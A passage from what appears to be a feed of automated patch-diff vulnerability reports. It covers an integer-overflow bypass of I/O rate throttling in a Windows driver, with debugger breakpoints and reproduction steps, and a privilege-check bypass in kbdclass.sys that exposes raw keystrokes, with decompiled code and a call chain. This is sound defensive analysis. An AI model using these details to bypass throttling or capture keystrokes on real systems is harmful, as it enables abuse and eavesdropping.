Set a breakpoint on the vulnerable multiplication to monitor the &lt;code&gt;r10&lt;/code&gt; register growth.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp iorate_unpatched!IoRateIsRateAmountDepleted+0x90 &amp;quot;.if(@r10 &amp;gt; 0x1AD7F29ABCA){.echo \&amp;quot;Overflow threshold reached!\&amp;quot;;.printf \&amp;quot;r10=%p\\n\&amp;quot;, @r10;} .else{gc}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Breakpoint justifications:&lt;/em&gt;
- &lt;code&gt;0x1c0002110&lt;/code&gt; (&lt;code&gt;+0x90&lt;/code&gt;): The &lt;code&gt;imul&lt;/code&gt; instruction. By adding a conditional script, you can monitor &lt;code&gt;r10&lt;/code&gt; as it approaches the overflow limit (&lt;code&gt;2^64 / 10000000&lt;/code&gt; ≈ &lt;code&gt;0x1AD7F29ABCA&lt;/code&gt;, about 1.8×10^12). 
- &lt;code&gt;0x1c0002127&lt;/code&gt; (&lt;code&gt;+0xA7&lt;/code&gt;): The &lt;code&gt;cmp r8, rcx&lt;/code&gt; instruction. You can break here to inspect the wrapped value in &lt;code&gt;rcx&lt;/code&gt; after the overflow has occurred.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;
- Inspect &lt;code&gt;r10&lt;/code&gt; at &lt;code&gt;0x1c0002110&lt;/code&gt;. As I/O continues over several minutes, you will see &lt;code&gt;r10&lt;/code&gt; grow into the terabyte range.
- Step over (&lt;code&gt;p&lt;/code&gt;) the &lt;code&gt;imul&lt;/code&gt; instruction at &lt;code&gt;0x1c0002110&lt;/code&gt;. Inspect &lt;code&gt;rcx&lt;/code&gt;. If &lt;code&gt;r10&lt;/code&gt; has crossed the threshold, &lt;code&gt;rcx&lt;/code&gt; will contain a wildly inaccurate, small integer.
- Continue to &lt;code&gt;0x1c0002127&lt;/code&gt; and inspect &lt;code&gt;r8&lt;/code&gt;. After overflow &lt;code&gt;rcx&lt;/code&gt; is small, so &lt;code&gt;r8 &amp;lt; rcx&lt;/code&gt; is false and the &lt;code&gt;jb&lt;/code&gt; at &lt;code&gt;0x1c000212a&lt;/code&gt; is NOT taken, even though the true (non-overflowed) &lt;code&gt;rcx&lt;/code&gt; would have made &lt;code&gt;r8 &amp;lt; rcx&lt;/code&gt; true and taken the branch to the throttle path.
- Check the return value in &lt;code&gt;eax&lt;/code&gt; (&lt;code&gt;r11d&lt;/code&gt;) at function return (&lt;code&gt;0x1c00021ca&lt;/code&gt;). After overflow it is &lt;code&gt;1&lt;/code&gt;; the caller (&lt;code&gt;IoRateControlStateGet&lt;/code&gt;) then assigns rate-control reason &lt;code&gt;0&lt;/code&gt; (no throttling reason for this type), so the I/O proceeds unthrottled. The correct value would have been &lt;code&gt;0&lt;/code&gt;, driving a non-zero throttle reason. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Offsets:&lt;/strong&gt;
- &lt;code&gt;0x1c0002110&lt;/code&gt;: Vulnerable scaling multiply (&lt;code&gt;imul rcx, r10, 0x989680&lt;/code&gt;).
- &lt;code&gt;0x1c0002127&lt;/code&gt;: Throttling decision comparison (&lt;code&gt;cmp r8, rcx&lt;/code&gt;).
- &lt;code&gt;0x1c0009624&lt;/code&gt;: Global data factor used in the secondary overflow multiplication path.&lt;/p&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;IoRateIsRateAmountDepleted&lt;/code&gt;&lt;/strong&gt; (Similarity: 83.05%)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Type:&lt;/strong&gt; Security Relevant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key Changes:&lt;/strong&gt; The compiler replaced unsafe arithmetic operations with overflow-safe equivalents. Un saturating &lt;code&gt;add&lt;/code&gt; operations were replaced with logic using &lt;code&gt;lea&lt;/code&gt; and &lt;code&gt;cmovae&lt;/code&gt;/&lt;code&gt;cmovb&lt;/code&gt; to clamp values to &lt;code&gt;-1&lt;/code&gt; upon overflow. The primary scaling &lt;code&gt;imul&lt;/code&gt; instruction was heavily rewritten to perform a 128-bit &lt;code&gt;mul&lt;/code&gt; and check the high &lt;code&gt;rdx&lt;/code&gt; register, implementing saturation caps (&lt;code&gt;0x3b9aca00&lt;/code&gt;). A defense-in-depth &lt;code&gt;int 0x2c&lt;/code&gt; (assertion-failure) trap was added at &lt;code&gt;0x1c0002211&lt;/code&gt; to catch a violated invariant (the output value &lt;code&gt;r9&lt;/code&gt; being zero) in the depleted-state logic path.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;p&gt;There are no unmatched functions in this diff. The developer strictly modified the math logic inside the pre-existing &lt;code&gt;IoRateIsRateAmountDepleted&lt;/code&gt; function without requiring external helper functions.&lt;/p&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High. The presence of explicit saturating math (&lt;code&gt;mul&lt;/code&gt;, &lt;code&gt;cmovae&lt;/code&gt;) replacing an &lt;code&gt;imul&lt;/code&gt; instruction with a large constant (&lt;code&gt;0x989680&lt;/code&gt;) is a classic signature of an integer overflow remediation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; The analysis assumes the call chain documented (via &lt;code&gt;IoRateThrottleIrp&lt;/code&gt;) is the primary path that exercises this logic. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Verification:&lt;/strong&gt; A researcher verifying this should manually use &lt;code&gt;diskspd&lt;/code&gt; or an equivalent tool to generate massive I/O against a QoS-limited volume to prove the physical bypass of the throughput limit, as no crash will occur to passively prove the vulnerability.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>kbdclass.sys — KernelMode RequestorMode bypass of the SeTcbPrivilege check in KeyboardClassCreate (CWE-863) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/kbdclass_0b23ba25-kbdclass-report-20260626-095057.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/kbdclass_0b23ba25-kbdclass-report-20260626-095057.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kbdclass_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kbdclass_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.6565&lt;/strong&gt; (moderate divergence, dominated by a recompile)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;91&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;71&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (each direction)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patched image is a broad recompile of the Windows keyboard class driver. The overwhelming majority of the divergence is non-behavioral: software-tracing (WPP) macro reformatting, &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;ExAllocatePool2&lt;/code&gt; modernization, helper extraction/inlining, and register/control-flow churn. Exactly one security-relevant behavioral change was delivered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding A — Medium: authorization-check bypass in &lt;code&gt;KeyboardClassCreate&lt;/code&gt;.&lt;/strong&gt; The unpatched create handler passes the IRP's &lt;code&gt;RequestorMode&lt;/code&gt; directly to &lt;code&gt;SeSinglePrivilegeCheck(SeTcbPrivilege, …)&lt;/code&gt;. For a &lt;code&gt;KernelMode&lt;/code&gt; requestor, that call succeeds without inspecting the caller's token, so a kernel-mode create that has requested user-level access checks (&lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt;) still receives the driver's "trusted" marker, which is the gate for reading raw keyboard input. The patch forces the check to run as &lt;code&gt;UserMode&lt;/code&gt; whenever that flag is set.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The previously-suspected use-after-free / TOCTOU race in &lt;code&gt;KeyboardClassRemoveDevice&lt;/code&gt; was investigated and is &lt;strong&gt;not&lt;/strong&gt; a real change: the relevant code is logically identical in both builds (see Finding B below, retained and downgraded).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding A — Medium: Authorization-check bypass in &lt;code&gt;KeyboardClassCreate&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE:&lt;/strong&gt; CWE-863 (Incorrect Authorization)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Privilege-check bypass via &lt;code&gt;RequestorMode&lt;/code&gt; confusion for kernel-mode callers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function (unpatched):&lt;/strong&gt; &lt;code&gt;KeyboardClassCreate&lt;/code&gt; @ &lt;code&gt;0x1C0001CA0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched equivalent:&lt;/strong&gt; &lt;code&gt;sub_1400039F0&lt;/code&gt; @ &lt;code&gt;0x1400039F0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; (open of &lt;code&gt;\Device\KeyboardClassN&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; In the unpatched build the create handler reaches the following (decompiled) test:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SeSinglePrivilegeCheck&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;LUID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;7L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// v2 = IRP&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FileObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FsContext2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverEntry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// &amp;quot;trusted&amp;quot; marker&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;++*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;SeSinglePrivilegeCheck&lt;/code&gt; is called with &lt;code&gt;IRP-&amp;gt;RequestorMode&lt;/code&gt;. When the requestor is &lt;code&gt;KernelMode&lt;/code&gt; (value &lt;code&gt;0&lt;/code&gt;), &lt;code&gt;SeSinglePrivilegeCheck&lt;/code&gt; returns TRUE without examining the caller's token. As a result, a kernel-mode &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; — including one issued by a driver or system component that has explicitly requested that the open be access-checked as if it came from user mode (&lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt;, i.e. &lt;code&gt;OBJ_FORCE_ACCESS_CHECK&lt;/code&gt;) on behalf of a lower-privileged user — passes the &lt;code&gt;SeTcbPrivilege&lt;/code&gt; gate regardless of that user's token. The handler then writes the "trusted" marker to &lt;code&gt;FileObject-&amp;gt;FsContext2&lt;/code&gt; (offset &lt;code&gt;+0x20&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;That marker is what authorizes reading raw keyboard input: &lt;code&gt;KeyboardClassRead&lt;/code&gt; (&lt;code&gt;0x1C0001410&lt;/code&gt;) returns &lt;code&gt;STATUS_PRIVILEGE_NOT_HELD&lt;/code&gt; (&lt;code&gt;0xC0000061&lt;/code&gt;) unless &lt;code&gt;FileObject-&amp;gt;FsContext2 == DriverEntry&lt;/code&gt;. So the bypass grants an unprivileged deputy access to keystrokes it should not be able to read.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix.&lt;/strong&gt; The patched handler reads the current I/O stack location's &lt;code&gt;Flags&lt;/code&gt; byte and isolates &lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt; (bit 0), then forces the privilege check to run as &lt;code&gt;UserMode&lt;/code&gt; when that flag is set:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// SL_FORCE_ACCESS_CHECK&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// force UserMode&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SeSinglePrivilegeCheck&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;LUID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;7L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FsContext2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_140011080&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// trusted marker (patched sentinel)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It also extends the pre-existing exclusive-open denial to kernel-mode callers that set the flag, and calls a new audit helper &lt;code&gt;sub_140005AB0&lt;/code&gt; when &lt;code&gt;RequestorMode == KernelMode &amp;amp;&amp;amp; SL_FORCE_ACCESS_CHECK&lt;/code&gt; before returning &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt; (&lt;code&gt;0xC0000022&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Direction is correct: the patched build is strictly stricter (a kernel-mode create that asked to be checked as user mode now actually gets its token checked).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-reachable call chain:&lt;/strong&gt;
1. A kernel-mode component (driver or system service) issues &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; on &lt;code&gt;\Device\KeyboardClassN&lt;/code&gt; on behalf of a user, using &lt;code&gt;OBJ_FORCE_ACCESS_CHECK&lt;/code&gt; (&lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt; set in the create stack location).
2. I/O Manager dispatches &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; → &lt;code&gt;KeyboardClassCreate @ 0x1C0001CA0&lt;/code&gt;.
3. &lt;code&gt;movzx edx, byte [rbx+0x40]&lt;/code&gt; @ &lt;code&gt;0x1C0001D49&lt;/code&gt; loads &lt;code&gt;RequestorMode&lt;/code&gt; (&lt;code&gt;0&lt;/code&gt; = KernelMode).
4. &lt;code&gt;call SeSinglePrivilegeCheck&lt;/code&gt; @ &lt;code&gt;0x1C0001D61&lt;/code&gt; returns TRUE for KernelMode.
5. &lt;code&gt;mov [rdx+0x20], rcx&lt;/code&gt; @ &lt;code&gt;0x1C0001D8F&lt;/code&gt; writes the trusted marker to &lt;code&gt;FsContext2&lt;/code&gt;; subsequent &lt;code&gt;IRP_MJ_READ&lt;/code&gt; on the handle is now permitted.&lt;/p&gt;
&lt;h3&gt;Finding B — No security-relevant change: &lt;code&gt;KeyboardClassRemoveDevice&lt;/code&gt; wait-wake IRP handling&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (informational)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function (unpatched):&lt;/strong&gt; &lt;code&gt;KeyboardClassRemoveDevice&lt;/code&gt; @ &lt;code&gt;0x1C0004F2C&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched equivalent:&lt;/strong&gt; &lt;code&gt;sub_140001C60&lt;/code&gt; @ &lt;code&gt;0x140001C60&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Finding.&lt;/strong&gt; The wait-wake IRP cancellation sequence in &lt;code&gt;KeyboardClassRemoveDevice&lt;/code&gt; was examined for a use-after-free / TOCTOU race across the spinlock release. The sequence is present, but it is &lt;strong&gt;identical in behavior between the two builds&lt;/strong&gt;, so the patch delivers no change here. Both builds:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;atomically set the state field at &lt;code&gt;dev_ext+0x140&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; (returning if it was already non-zero),&lt;/li&gt;
&lt;li&gt;acquire the spinlock at &lt;code&gt;dev_ext+0x48&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;read the wait-wake IRP pointer from &lt;code&gt;dev_ext+0x128&lt;/code&gt; and, if present and the cancel flag at &lt;code&gt;dev_ext+0x130&lt;/code&gt; is clear, set that flag and keep the pointer,&lt;/li&gt;
&lt;li&gt;release the spinlock,&lt;/li&gt;
&lt;li&gt;call &lt;code&gt;IoCancelIrp&lt;/code&gt; on the kept pointer,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xchg&lt;/code&gt; the state at &lt;code&gt;dev_ext+0x140&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;, and if the old value was &lt;code&gt;3&lt;/code&gt;, call &lt;strong&gt;&lt;code&gt;IofCompleteRequest&lt;/code&gt;&lt;/strong&gt; on the IRP.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The final call at &lt;code&gt;0x1C0004FBC&lt;/code&gt; is &lt;code&gt;IofCompleteRequest&lt;/code&gt; (complete the IRP), not &lt;code&gt;IoFreeIrp&lt;/code&gt;; no IRP is freed in this function and there is no double-free site here. The pointer read under the lock and used after release is the standard wait-wake cancellation idiom: ownership of the IRP is arbitrated by the &lt;code&gt;dev_ext+0x140&lt;/code&gt; state machine (values &lt;code&gt;1&lt;/code&gt;/&lt;code&gt;2&lt;/code&gt;/&lt;code&gt;3&lt;/code&gt;) together with the &lt;code&gt;dev_ext+0x130&lt;/code&gt; cancel flag, so the completion routine (&lt;code&gt;KeyboardClassWaitWakeComplete&lt;/code&gt;) and this path cannot both own the IRP. The only difference in the patched &lt;code&gt;sub_140001C60&lt;/code&gt; is a De Morgan inversion of one &lt;code&gt;if&lt;/code&gt; (the null/already-cancelled case is split into its own branch); the locking, the calls, and the state transitions are unchanged. No work-item deferral is introduced.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding A — &lt;code&gt;KeyboardClassCreate&lt;/code&gt; (privilege-check bypass)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED KeyboardClassCreate (key section) ---&lt;/span&gt;
&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mi"&gt;1u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
